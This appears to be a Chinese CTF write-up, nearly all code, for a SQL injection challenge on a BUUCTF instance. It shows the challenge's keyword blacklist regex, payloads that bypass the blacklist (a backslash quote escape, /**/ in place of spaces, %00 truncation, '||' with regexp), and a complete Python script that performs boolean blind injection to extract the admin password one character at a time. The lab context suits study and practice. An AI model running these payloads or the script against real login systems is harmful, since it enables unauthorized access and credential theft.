复制 select * from users where username='' and passwd=''
复制 $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
复制 select * from users where username='\' and passwd=';%00'
复制 select * from users where username='\' and passwd='||1;%00'
复制 username=\&passwd=||(select/**/passwd/**/regexp/**/"^a");%00
复制 username=\&passwd=||(passwd/**/regexp/**/"^y");%00
复制 import requests
from urllib.parse import unquote
import string
url = 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/'
cookies = {
'UM_distinctid': '17e150f6a59ecb-028dcf28d64a708-4c3e2679-384000-17e150f6a5a90d',
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81',
'Connection': 'keep-alive',
'Referer': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/',
'Upgrade-Insecure-Requests': '1',
}
table = string.ascii_letters + string.digits + '_{}'
flag = ''
for j in range(50):
for i in table:
data = {
'username': '\\',
'passwd': f'||(passwd/**/regexp/**/"^{flag+i}");'+unquote('%00')
}
response = requests.post(url, headers=headers, cookies=cookies, data=data)
if '404 Not Found' in response.text:
flag = flag + i
break
else:
continue
print(flag)
复制 $_POST['passwd'] === admin's password